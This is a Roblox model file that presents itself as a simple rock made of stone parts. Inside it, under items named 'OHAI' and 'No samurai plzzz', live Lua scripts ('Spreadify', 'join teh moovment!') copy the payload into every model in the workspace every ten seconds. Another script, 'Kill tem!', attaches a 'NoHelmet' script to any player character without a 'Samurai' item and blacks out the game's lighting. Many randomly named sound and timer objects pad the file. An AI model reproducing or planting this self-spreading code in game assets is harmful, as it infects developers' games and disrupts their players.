<roblox xmlns:xmime="http://www.w3.org/2005/05/xmlmime" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.roblox.com/roblox.xsd" version="4">
	<External>null</External>
	<External>nil</External>
	<Item class="Model" referent="RBX0">
		<Properties>
			<CoordinateFrame name="ModelInPrimary">
				<X>0</X>
				<Y>0</Y>
				<Z>0</Z>
				<R00>1</R00>
				<R01>0</R01>
				<R02>0</R02>
				<R10>0</R10>
				<R11>1</R11>
				<R12>0</R12>
				<R20>0</R20>
				<R21>0</R21>
				<R22>1</R22>
			</CoordinateFrame>
			<string name="Name">Rock</string>
			<Ref name="PrimaryPart">null</Ref>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="Part" referent="RBX1">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>76</X>
					<Y>4.60000038</Y>
					<Z>85</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">The rocks top part 2</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>1.20000005</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX2">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Bottom of the rock</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX3">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>76</X>
						<Y>1</Y>
						<Z>85</Z>
						<R00>-0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">The rocks bottom part 1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>8</X>
						<Y>1.20000005</Y>
						<Z>8</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX4">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>76</X>
						<Y>2.20000005</Y>
						<Z>85</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">The rocks bottom part 2</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>6</X>
						<Y>1.20000005</Y>
						<Z>6</Z>
					</Vector3>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX5">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">199</int>
				<CoordinateFrame name="CFrame">
					<X>76</X>
					<Y>3.4000001</Y>
					<Z>85</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">The rocks top part 1</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>4</X>
					<Y>1.20000005</Y>
					<Z>4</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Geometry" referent="RBX6">
			<Properties>
				<string name="Name">OHAI</string>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Model" referent="RBX7">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Controls</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX8">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Spreadify</string>
						<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;OHAI&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX9">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">mx5tubqj</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Timer" referent="RBX10">
							<Properties>
								<string name="Name">t17c1j28</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX11">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">oqah0i</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Timer" referent="RBX12">
						<Properties>
							<string name="Name">xeurix4f</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX13">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">1hxrt</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX14">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">axygcjy4u</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Timer" referent="RBX15">
						<Properties>
							<string name="Name">k85f</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX16">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">qn1bce8or</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Timer" referent="RBX17">
					<Properties>
						<string name="Name">axcq7peh</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX18">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">xv7l0b5pf</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX19">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">2gzrc34e</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Timer" referent="RBX20">
					<Properties>
						<string name="Name">pj0e</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX21">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">mvrwcu</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Timer" referent="RBX22">
				<Properties>
					<string name="Name">ojtsz01q</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX23">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">za2hk4id</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="Geometry" referent="RBX24">
			<Properties>
				<string name="Name">No samurai plzzz</string>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Model" referent="RBX25">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Deth 2 teh samurai!</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX26">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Kill tem!</string>
						<string name="Source">function noHelmet(chr)

	local s = script.NoHelmet:clone()
	s.Disabled = false
	s.Parent = chr
	
end

function checkHelmets()
	local p = game.Players:GetPlayers()

	for i=1,#p do
		local c = p[i].Character
		if (c ~= nil) then 
			local helmet = c:findFirstChild(&quot;Samurai&quot;)
			if (helmet == nil and c:findFirstChild(&quot;NoHelmet&quot;) == nil) then
				noHelmet(c)
			end
		end
	end
end

function nosamurai()
	while(true) do
		wait(3)
		checkHelmets()
	end
end

if game:findFirstChild(&quot;NetworkServer&quot;) ~= nil then
	nosamurai()
	wait(600)
	game.Lighting.TimeOfDay = &quot;00:00:00&quot;
	game.Lighting.Brightness = 0
end
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX27">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">mmalh2</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Timer" referent="RBX28">
							<Properties>
								<string name="Name">864a79qi</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX29">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">n76zd</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Timer" referent="RBX30">
						<Properties>
							<string name="Name">cwtsn</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX31">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">84qm</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Script" referent="RBX32">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">join teh moovment!</string>
						<string name="Source">function dive()
p= game.Workspace:GetChildren()	
for i= 1, #p do				
if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;No samurai plzzz&quot;)==nil then
script.Parent.Parent:clone().Parent = p[i]
end
end
end

while true do
wait(10)
dive()
end
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX33">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">vvhn16u</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Timer" referent="RBX34">
							<Properties>
								<string name="Name">0l7qwn</string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX35">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">zuk59c4</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Timer" referent="RBX36">
						<Properties>
							<string name="Name">4j92wyp8g</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX37">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">orz235bee</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX38">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">u5vv</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Timer" referent="RBX39">
						<Properties>
							<string name="Name">yqonux47</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX40">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">n8xarelt</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Timer" referent="RBX41">
					<Properties>
						<string name="Name">6fqn</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX42">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">mlx4kx</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="StockSound" referent="RBX43">
				<Properties>
					<bool name="Looped">false</bool>
					<string name="Name">kg5r46vf</string>
					<int name="PlayCount">-1</int>
					<bool name="PlayOnRemove">false</bool>
					<Content name="SoundId"><null></null></Content>
					<float name="Volume">0.5</float>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Timer" referent="RBX44">
					<Properties>
						<string name="Name">nwzpk77ij</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX45">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">gtyqj</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Timer" referent="RBX46">
				<Properties>
					<string name="Name">61bhu6fob</string>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="StockSound" referent="RBX47">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">8oq7ugjlp</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
		</Item>
	</Item>
</roblox>